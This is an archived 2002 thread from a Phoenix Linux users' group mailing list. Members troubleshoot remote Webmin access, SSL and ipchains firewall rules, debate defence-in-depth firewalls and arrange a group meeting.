and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >Bryce C. >Network Administrator >CoBryce Communications >Bryce@BryceCo.Net >http://www.BryceCo.Net > > > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:55:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 25 Jun 2002 14:55:12 -0700 Subject: Redhat Sound Problems. References: <0206251040100D.07972@nova.wedge.org> Message-ID: <001001c21c92$fb38ecd0$0e02a8c0@krycom> I just installed RedHat but all the sounds in games don't mesh. For example in lbreakout2, when the ball hits the brick, you don't hear it until 2 sec's later. what's the deal? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 22:01:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 18:01:55 -0400 Subject: Miniserv on eth0 (was: Webmin via Apache) Message-ID: OK, my question has changed. Webmin as a web server, miniserv, that comes with it. It does not seem to be watching for connections on the ethernet, only the loopback (localhost) connection. How do I get it to serve pages out the eth0? Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 22:04:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 25 Jun 2002 15:04:53 -0700 Subject: Webmin via Apache In-Reply-To: References: Message-ID: <1025042698.2269.3.camel@desktop.capnet.lan> > > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > IIRC, the latest versions require you to use https://192.168.x.x:10000 Gotta use the secure login. At least that's so on my fresh install of Mandrake 8.2 HTH Cap From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 22:22:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 25 Jun 2002 15:22:21 -0700 Subject: Redhat Sound Problems. Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E07@azmscorp01.corp.azms> Kind of like talking on the phone and hearing yourself on the radio. Something like that. does it happen in all games or just lbreakout2? -----Original Message----- From: Richard L. Proctor [mailto:krycom1@cox.net] Sent: Tuesday, June 25, 2002 2:55 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Redhat Sound Problems. I just installed RedHat but all the sounds in games don't mesh. For example in lbreakout2, when the ball hits the brick, you don't hear it until 2 sec's later. what's the deal? ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 23:33:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 25 Jun 2002 16:33:38 -0700 Subject: test message Message-ID: <20020625233337.PWOA25007.fed1mtao01.cox.net@there> this is a test -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 23:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Tue, 25 Jun 2002 19:48:54 -0400 Subject: Webmin via Apache Message-ID: If you use the Tar ball from thier website, you'll have to add the ssl afterwords. thus you still may be http://192.168.xx:10000 Original Message: ----------------- From: Cap Bateman dbateman@sprintmail.com Date: 25 Jun 2002 15:04:53 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Webmin via Apache > > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > IIRC, the latest versions require you to use https://192.168.x.x:10000 Gotta use the secure login. At least that's so on my fresh install of Mandrake 8.2 HTH Cap ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:01:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 25 Jun 2002 17:01:35 -0700 Subject: test message References: <20020625233337.PWOA25007.fed1mtao01.cox.net@there> Message-ID: <000d01c21ca4$a362a340$0e02a8c0@krycom> Test Failed! :-) ----- Original Message ----- From: "technomage" To: "PLUG-AZ" Sent: Tuesday, June 25, 2002 4:33 PM Subject: test message > this is a test > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:07:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 20:07:27 -0400 Subject: Webmin via Apache Message-ID: I actually installed from the rpm on the web site but I still had to install SSL separately. Works the same either way. If I disable SSL, "http:..." does not work. If I enable SSL, "https:..." does not work. When I say it does not work, I am talking about trying to bring up Webmin in a browser on a different computer so I can admin this one via the network. The localhost login works with or without SSL enabled. Alan On Tue, 25 Jun 2002 19:48:54 -0400 "plug@unfm00.com" wrote: If you use the Tar ball from thier website, you'll have to add the ssl afterwords. thus you still may be http://192.168.xx:10000 Original Message: ----------------- From: Cap Bateman dbateman@sprintmail.com Date: 25 Jun 2002 15:04:53 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Webmin via Apache > > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > IIRC, the latest versions require you to use https://192.168.x.x:10000 Gotta use the secure login. At least that's so on my fresh install of Mandrake 8.2 HTH Cap ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:15:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 25 Jun 2002 17:15:08 -0700 Subject: need a ride Message-ID: <20020626001507.VGJB26656.fed1mtao04.cox.net@there> I don't know if my last message made it to the list. I need a ride to the westside meeting. please call me at 623-849-9515 if you are going there and happen to be near 83rd ave and indianschool road. I need a response PDQ! Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:17:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 25 Jun 2002 17:17:37 -0700 Subject: test message Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E08@azmscorp01.corp.azms> Hello this is the plug mailing list messages to you have been bouncing. If they continue to bounce we will send a probe.... :) -----Original Message----- From: Richard L. Proctor [mailto:krycom1@cox.net] Sent: Tuesday, June 25, 2002 5:02 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: test message Test Failed! :-) ----- Original Message ----- From: "technomage" To: "PLUG-AZ" Sent: Tuesday, June 25, 2002 4:33 PM Subject: test message > this is a test > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:49:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sat, 22 Jun 2002 11:49:30 -0700 Subject: Webmin via Apache In-Reply-To: <20020625162432.E8770@lilly.csoft.net> References: <20020625162432.E8770@lilly.csoft.net> Message-ID: <200206221149.30253.wokan@cox.net> He's trying to get it to run through Apache instead of having a Perl script sit around waiting for connections. (And the added bonus of running it on port 80 or possibly 443.) On Tuesday 25 June 2002 14:24, Mike wrote: > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > > > v/r > Mike > > On Tue, Jun 25, 2002 at 05:02:09PM -0400, alandd@mindspring.com wrote: > I am sorry for the confusion. All the zeros in the address are just place > holders. The correct address is 192.168.200.6. > > ie. I go to my remote browser and enter the address > "http://192.168.200.6" and I get the default Apache web page, so I know > Apache is working. I enter the address "http://192.168.200.6/webmin" and I > get the 404 error. My question is why do I get the error? > > Alan > > On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: > > I think the 0.0.0.0 is to be replaced by your IP address. If it's trying > to link there, then something's configured wrong. > > Alandd@mindspring.com wrote : > > OK, I am setting up a new box as a server and I want to remote > > administer it > > > > with Webmin (www.webmin.com). > > > > I downloaded it, installed it on the box and I can run it locally using > > the URL http://localhost:10000/. Cool. > > > > I am trying to follow the directions at > > http://www.webmin.com/webmin/apache.html to make it run > > under a subdirectory > > with Apache as the server but it is not working. I get 404 errors when > > trying > > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > > doing > > wrong. > > > > What are the tricks to this setup? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > Bryce C. > Network Administrator > CoBryce Communications > Bryce@BryceCo.Net > http://www.BryceCo.Net > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:49:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 20:49:20 -0400 Subject: ipchains issue (Re: Webmin via Apache) Message-ID: OK, this is looking like a firewall (ie. ipchains) setting issue. I will have to go learn how to do ipchains, and without a GUI since I didn't put it on this box! The output of "ipchains -L" gives: Chain input (policy ACCEPT): target prot opt source destination ports ACCEPT udp ------ 192.168.200.1 anywhere domain -> 1025:65535 ACCEPT tcp -y---- anywhere anywhere any -> http ACCEPT tcp -y---- anywhere anywhere any -> ssh ACCEPT udp ------ anywhere anywhere bootps:bootpc -> bootps:bootpc ACCEPT udp ------ anywhere anywhere bootps:bootpc -> bootps:bootpc ACCEPT all ------ anywhere anywhere n/a REJECT tcp -y---- anywhere anywhere any -> any REJECT udp ------ anywhere anywhere any -> any Chain forward (policy ACCEPT): Chain output (policy ACCEPT): What line to I need to allow Webmin miniserv.pl to listen for https connections on eth0? Where do I put said line? Mean while, I'll go read the manuals... Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 19:37:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sat, 22 Jun 2002 12:37:44 -0700 Subject: Webmin via Apache In-Reply-To: References: Message-ID: <200206221237.44674.wokan@cox.net> You may want to check either your ipchains/iptables settings or /etc/hosts.allow. On Tuesday 25 June 2002 17:07, alandd@mindspring.com wrote: > I actually installed from the rpm on the web site but I still had to > install SSL separately. Works the same either way. If I disable SSL, > "http:..." does not work. If I enable SSL, "https:..." does not work. > > When I say it does not work, I am talking about trying to bring up Webmin > in a browser on a different computer so I can admin this one via the > network. The localhost login works with or without SSL enabled. > > Alan > > On Tue, 25 Jun 2002 19:48:54 -0400 "plug@unfm00.com" > wrote: > > If you use the Tar ball from thier website, you'll have to add the ssl > afterwords. thus you still may be http://192.168.xx:10000 > > Original Message: > ----------------- > From: Cap Bateman dbateman@sprintmail.com > Date: 25 Jun 2002 15:04:53 -0700 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Webmin via Apache > > > It has been years since I tried webmin, however, I believe you need > > to see what port number webmin is running on (i.e 10000). > > > > Try something like http://192.168.200.6:10000 > > IIRC, the latest versions require you to use https://192.168.x.x:10000 > Gotta use the secure login. > > At least that's so on my fresh install of Mandrake 8.2 > > > HTH > > Cap > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:12:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 18:12:18 -0700 Subject: Miniserv on eth0 (was: Webmin via Apache) In-Reply-To: References: Message-ID: <1025053938.29276.4.camel@barney.azapple.com> On Tue, 2002-06-25 at 15:01, alandd@mindspring.com wrote: > OK, my question has changed. > > Webmin as a web server, miniserv, that comes with it. It does not seem to be > watching for connections on the ethernet, only the loopback (localhost) > connection. How do I get it to serve pages out the eth0? --- open port in firewall Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:11:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 18:11:54 -0700 Subject: Webmin via Apache In-Reply-To: References: Message-ID: <1025053915.29276.2.camel@barney.azapple.com> On Tue, 2002-06-25 at 14:41, alandd@mindspring.com wrote: > These do not work either. I must have messed up one of the configuration > steps... > > I think I will remove it and try again since I have now been mucking around > and may have made it worse. Still works on the localhost:10000 port though. > ---- there is a whole faq on using the webmin scripts on apache on the www.webmin.com web site. It's important that you understand just how this all works because you are putting root privileged cgi scripts on the server. Suggest that if you have to ask how, you aren't familiar enough with apache and you stick with the way it was configured to run - i.e. miniserve.pl on port 10000 Craig From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 19:36:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sat, 22 Jun 2002 12:36:36 -0700 Subject: Webmin via Apache In-Reply-To: <1025042698.2269.3.camel@desktop.capnet.lan> References: <1025042698.2269.3.camel@desktop.capnet.lan> Message-ID: <200206221236.36840.wokan@cox.net> Mandrake specifically SSL-enabled webmin. If you install the Red Hat version, from a tarball, or from several other distros, they aren't SSL-enabled. Don't know why Mandrake was the only one to bother with what I would consider a very important option. On Tuesday 25 June 2002 15:04, Cap Bateman wrote: > > It has been years since I tried webmin, however, I believe you need > > to see what port number webmin is running on (i.e 10000). > > > > Try something like http://192.168.200.6:10000 > > IIRC, the latest versions require you to use https://192.168.x.x:10000 > Gotta use the secure login. > > At least that's so on my fresh install of Mandrake 8.2 > > > HTH > > Cap > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:21:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 21:21:37 -0400 Subject: Webmin via Apache Message-ID: Excellent points, Craig. I am now pursuing leaving in on miniserv.pl and port 10000. I think I have an ipchains issue. We shall see what I learn. Alan On 25 Jun 2002 18:11:54 -0700 Craig White wrote: On Tue, 2002-06-25 at 14:41, alandd@mindspring.com wrote: > These do not work either. I must have messed up one of the configuration > steps... > > I think I will remove it and try again since I have now been mucking around > and may have made it worse. Still works on the localhost:10000 port though. > ---- there is a whole faq on using the webmin scripts on apache on the www.webmin.com web site. It's important that you understand just how this all works because you are putting root privileged cgi scripts on the server. Suggest that if you have to ask how, you aren't familiar enough with apache and you stick with the way it was configured to run - i.e. miniserve.pl on port 10000 Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:24:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Tue, 25 Jun 2002 18:24:58 -0700 Subject: Meeting TONIGHT References: Message-ID: <3D1917EA.71EF185C@pop.phnx.uswest.net> ...and there was much rejoicing. :-) Thanks much! alandd@mindspring.com wrote: > > Jim will be bringing a box of swag for the west siders to enjoy. We have not > forgotten you. > > Alan > > On Tue, 25 Jun 2002 10:40:10 -0700 Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > When: 7:00 p.m. > Where: Glendale Community College High Tech 1 Teleconference Room > Topic: A Post Mortem on the Install Fest > > Be There! > > I hope Steve has access to the Internet and a connection to a projector. > Sure will make the presentation a LOT better ::grin:: > - -- > Jim > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:43:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 18:43:31 -0700 Subject: ipchains issue (Re: Webmin via Apache) In-Reply-To: References: Message-ID: <1025055811.29731.3.camel@barney.azapple.com> Assuming that this is a single NIC on a server on the internal lan and you have no idea what you want a firewall to be doing on this computer anyway...why don't you just turn it off? service ipchains off chkconfig --levels 2345 ipchains off Otherwise, /sbin/ipchains -A input -j ACCEPT -i $EXTIF -p tcp -s $UNIVERSE -d $EXTIP 10000 replace port & variables as necessary but I have to tell you that what you have in place for ipchains is pretty minimal and you shouldn't feel as though anything is secure on that system because you have an ipchains firewall running on it. Craig On Tue, 2002-06-25 at 17:49, alandd@mindspring.com wrote: > OK, this is looking like a firewall (ie. ipchains) setting issue. I will have > to go learn how to do ipchains, and without a GUI since I didn't put it on > this box! > > The output of "ipchains -L" gives: > > Chain input (policy ACCEPT): > target prot opt source destination ports > ACCEPT udp ------ 192.168.200.1 anywhere domain -> > 1025:65535 > ACCEPT tcp -y---- anywhere anywhere any -> > http > ACCEPT tcp -y---- anywhere anywhere any -> > ssh > ACCEPT udp ------ anywhere anywhere > bootps:bootpc -> bootps:bootpc > ACCEPT udp ------ anywhere anywhere > bootps:bootpc -> bootps:bootpc > ACCEPT all ------ anywhere anywhere n/a > REJECT tcp -y---- anywhere anywhere any -> > any > REJECT udp ------ anywhere anywhere any -> > any > Chain forward (policy ACCEPT): > Chain output (policy ACCEPT): > > What line to I need to allow Webmin miniserv.pl to listen for https > connections on eth0? Where do I put said line? > > Mean while, I'll go read the manuals... > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:54:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Tue, 25 Jun 2002 18:54:45 -0700 Subject: meeting tonight Message-ID: <5.1.0.14.0.20020625185354.02538e50@localhost> Urgent message for Jim. Please call me at 480-809-2857. Fires at work and cannot make meeting. I will need to get banner and hub from you some how else. Kimi Adams From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:12:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 25 Jun 2002 22:12:35 -0400 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) References: <1025055811.29731.3.camel@barney.azapple.com> Message-ID: <3D192313.AA168AE9@georgetoft.com> George's $0.02. In the area of running boxes inside a network (LAN) that has a firewall protecting them from the bad Internet, I am at odds with some corporations, who shall remain nameless. I feel every box on the network should be able to stand on its own without the firewall (at least for a few hours). This provides redundancy - if the main firewall fails or is compromised, you have one more layer of protection. Look at it like a bank - do you think they use just one lock to keep the bad guys out? Yes, I practice what I preach - my workstation runs a firewall just as strong as my dedicated hardware firewall. That way, if I goober up the hardware firewall, I'm not left naked with my arse hanging out. So running ipchains on an internal box is not a bad thing - just make sure you know why you are doing it. George Paranoid at Large Craig White wrote: > > Assuming that this is a single NIC on a server on the internal lan and > you have no idea what you want a firewall to be doing on this computer > anyway...why don't you just turn it off? > > service ipchains off > > chkconfig --levels 2345 ipchains off > > Otherwise, > /sbin/ipchains -A input -j ACCEPT -i $EXTIF -p tcp -s $UNIVERSE -d > $EXTIP 10000 > > replace port & variables as necessary but I have to tell you that what > you have in place for ipchains is pretty minimal and you shouldn't feel > as though anything is secure on that system because you have an ipchains > firewall running on it. > > Craig > > On Tue, 2002-06-25 at 17:49, alandd@mindspring.com wrote: > > OK, this is looking like a firewall (ie. ipchains) setting issue. I will have > > to go learn how to do ipchains, and without a GUI since I didn't put it on > > this box! > > > > The output of "ipchains -L" gives: > > > > Chain input (policy ACCEPT): > > target prot opt source destination ports > > ACCEPT udp ------ 192.168.200.1 anywhere domain -> > > 1025:65535 > > ACCEPT tcp -y---- anywhere anywhere any -> > > http > > ACCEPT tcp -y---- anywhere anywhere any -> > > ssh > > ACCEPT udp ------ anywhere anywhere > > bootps:bootpc -> bootps:bootpc > > ACCEPT udp ------ anywhere anywhere > > bootps:bootpc -> bootps:bootpc > > ACCEPT all ------ anywhere anywhere n/a > > REJECT tcp -y---- anywhere anywhere any -> > > any > > REJECT udp ------ anywhere anywhere any -> > > any > > Chain forward (policy ACCEPT): > > Chain output (policy ACCEPT): > > > > What line to I need to allow Webmin miniserv.pl to listen for https > > connections on eth0? Where do I put said line? > > > > Mean while, I'll go read the manuals... > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:37:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 25 Jun 2002 22:37:57 -0400 Subject: Doing the Right Thing (revisited) Message-ID: <3D192905.9262FC68@georgetoft.com> While searching for more debarment guidelines, I came across these tidbits: =================================================================== Title 7, Ch. 2 Arizona Administrative Code State Board of Education R7-2-1161. Authority to debar or suspend A. The governing board has the authority to debar or suspend a person from participating in school district procurements. B. The causes for debarment or suspension include the following: 3. Conviction or civil judgment finding a violation by any person or any subsidiary or affiliate of any person under state or federal antitrust statutes. www.mpsaz.org/purchasing/protest.pdf Same as before - Schools may debar anti-trust violators. =================================================================== Same thing for ASU: www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) =================================================================== Same thing for the State: http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment =================================================================== Tom Emerson is right - there is not much originality from one government agency to the next in Arizona - they all pretty much copy the same text and format. Let the letter writing begin!!! George From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:42:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 19:42:01 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) In-Reply-To: <3D192313.AA168AE9@georgetoft.com> References: <1025055811.29731.3.camel@barney.azapple.com> <3D192313.AA168AE9@georgetoft.com> Message-ID: <1025059321.29918.22.camel@barney.azapple.com> On Tue, 2002-06-25 at 19:12, George Toft wrote: > George's $0.02. > > In the area of running boxes inside a network (LAN) that has a firewall > protecting them from the bad Internet, I am at odds with some > corporations, who shall remain nameless. I feel every box on the > network should be able to stand on its own without the firewall (at > least for a few hours). This provides redundancy - if the main firewall > fails or is compromised, you have one more layer of protection. Look at > it like a bank - do you think they use just one lock to keep the bad > guys out? > > Yes, I practice what I preach - my workstation runs a firewall just as > strong as my dedicated hardware firewall. That way, if I goober up the > hardware firewall, I'm not left naked with my arse hanging out. > > So running ipchains on an internal box is not a bad thing - just make > sure you know why you are doing it. ---- thanks for the naked metaphor If you looked at his ipchains rulesets, you would know how much consideration had been given to them. That was my point. I had a customer...a patent engineer, ee, tcl programmer and all around very intelligent guy install firewall software on his computer and couldn't figure out why he couldn't print or see the file servers, etc. He couldn't log in to the Windows domain controller but his computer was safe. I agree with you...know why you're doing it but you also need to know how to do it. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:36:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 19:36:10 -0700 Subject: Webmin via Apache In-Reply-To: <200206221236.36840.wokan@cox.net> References: <1025042698.2269.3.camel@desktop.capnet.lan> <200206221236.36840.wokan@cox.net> Message-ID: <1025058970.29918.15.camel@barney.azapple.com> On Sat, 2002-06-22 at 12:36, Digital Wokan wrote: > Mandrake specifically SSL-enabled webmin. If you install the Red Hat version, > from a tarball, or from several other distros, they aren't SSL-enabled. > Don't know why Mandrake was the only one to bother with what I would consider > a very important option. > ---- Redhat doesn't supply webmin at all - period rpm's from webmin's site are noarch/nodistro rpms tarballs are so easy and better for updating...webmin has it's own module to update itself so the rpm's for webmin are for people that have figured out 'rpm -Uvh/ivh webmin-0.99x.noarch.rpm' but 'tar zxvf webmin-0.99x.tar.gz' and then 'cd webmin-0.99x' and then './setup.sh' isn't much more difficult and sets up a new privileged user local to webmin rather than relying on the system root user and system root password. In just about every instance, having a separate user in webmin is better than root. I use webmin - I use redhat - I would never use the rpm's to install webmin. I wouldn't recommend them. As for SSL - download Net::SSLeay.pm-1.05 from webmin's website - takes 2 minutes to unpack and install (on a slow modem). Craig Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 03:37:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 25 Jun 2002 20:37:02 -0700 Subject: mail aliases, mailinglist and netscape mail References: <3D175629.9040900@esaravana.com> <20020625084714.646c6269.wokan@cox.net> <3D189EA7.8010808@esaravana.com> Message-ID: <3D1936DE.B4CDC2D2@earthlink.net> I've tried Evolution, Sylpheed, Mozilla, Netscape 6.x mail 